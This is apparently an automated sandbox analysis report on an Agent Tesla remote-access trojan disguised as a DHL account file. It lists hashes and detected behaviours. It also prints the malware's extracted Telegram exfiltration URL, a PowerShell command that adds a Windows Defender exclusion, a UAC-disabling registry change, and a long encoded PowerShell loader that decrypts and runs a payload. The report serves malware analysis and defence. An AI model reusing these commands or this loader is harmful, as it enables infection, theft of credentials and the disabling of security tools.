Analysis
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max time kernel
139s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
18/05/2024, 18:32
Static task
static1
Behavioral task
behavioral1
Sample
Details of your DHLaccount.exe
Resource
win7-20240215-en
General
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Target
Details of your DHLaccount.exe
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Size
1.1MB
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MD5
2c4576ca7c0f8abeb6647ca51cd19b2c
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SHA1
cac2fdb51c878e8dec6e0f392281a3562ea9ecc0
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SHA256
5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e
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SHA512
998472adbb49895a2ee41b3f868b9c61b45bbcb3609296f234ff50fe391098e1c8f9e04c5cd5a14575ea268e229b3ffa8c73949fae4ac541bd7b614a83d6bb45
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SSDEEP
24576:6lMAYTFQBeU31HTh/OZHCeTcILzp6Od7b:6lMlTKsi1/OZMIM63
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot7062542161:AAGTRYaovexgStrKeV0wI1K5scR6qGG6-3k/
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe = "0" powershell.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe -
pid Process 4528 powershell.exe 3352 powershell.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion powershell.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 27 api.ipify.org 28 api.ipify.org -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum powershell.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4528 set thread context of 3724 4528 powershell.exe 100 -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 3352 powershell.exe 3352 powershell.exe 3352 powershell.exe 3724 msbuild.exe 3724 msbuild.exe 3724 msbuild.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4528 powershell.exe Token: SeDebugPrivilege 3352 powershell.exe Token: SeDebugPrivilege 3724 msbuild.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3512 wrote to memory of 4528 3512 Details of your DHLaccount.exe 95 PID 3512 wrote to memory of 4528 3512 Details of your DHLaccount.exe 95 PID 4528 wrote to memory of 3352 4528 powershell.exe 98 PID 4528 wrote to memory of 3352 4528 powershell.exe 98 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 3724 4528 powershell.exe 100 PID 4528 wrote to memory of 1088 4528 powershell.exe 101 PID 4528 wrote to memory of 1088 4528 powershell.exe 101 PID 4528 wrote to memory of 1088 4528 powershell.exe 101
Processes
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C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe"C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkAMgAsACAAMAB4AEUARgAsACAAMAB4AEMANAAsACAAMAB4ADMAQwAsACAAMAB4AEQARgAsACAAMAB4ADcAOQAsACAAMAB4ADAAQgAsACAAMAB4ADAANgAsACAAMAB4AEIAOAAsACAAMAB4ADkARQAsACAAMAB4ADkAMQAsACAAMAB4ADgANwAsACAAMAB4AEQAOAAsACAAMAB4AEMAMwAsACAAMAB4AEQAMgAsACAAMAB4AEYAQwAsACAAMAB4ADYAMAAsACAAMAB4ADUANwAsACAAMAB4ADUAQwAsACAAMAB4ADYANQAsACAAMAB4ADUARgAsACAAMAB4ADMAMQAsACAAMAB4AEQAQQAsACAAMAB4ADEANwAsACAAMAB4ADMARAAsACAAMAB4ADYARAAsACAAMAB4ADYANgAsACAAMAB4ADYAMQAsACAAMAB4AEUANQAsACAAMAB4ADgARAAsACAAMAB4AEYAOQAsACAAMAB4ADUAOQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADYALAAgADAAeAA4AEQALAAgADAAeABCADMALAAgADAAeAA5ADgALAAgADAAeABGADkALAAgADAAeAA3AEEALAAgADAAeABBADMALAAgADAAeAA2ADIALAAgADAAeABBADMALAAgADAAeABDAEQALAAgADAAeAA3ADQALAAgADAAeAAyAEUALAAgADAAeAA1ADIALAAgADAAeABBADAALAAgADAAeAAyAEYALAAgADAAeAA3ADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- UAC bypass
- Windows security bypass
- Looks for VirtualBox Guest Additions in registry
- Command and Scripting Interpreter: PowerShell
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe" -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3352
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵PID:1088
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Modify Registry
2Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
33KB
MD504662bf07c3f7e0eece06dcffb865b67
SHA142e864c5e2137884868fe976cc1020da836ba51f
SHA256c3bb7b7bf67149f81a5a7ee90ff9ce96a2b9d8572be126ae385cd464628d701c
SHA51272a4c77d1753fe5c322579a0b4c1d80bd23deaf51cfc958aec1a56632e77b4911a1f43701e57470b30cc5feb9096a0216ebb22d9cc7cf4cf005afabb71d087df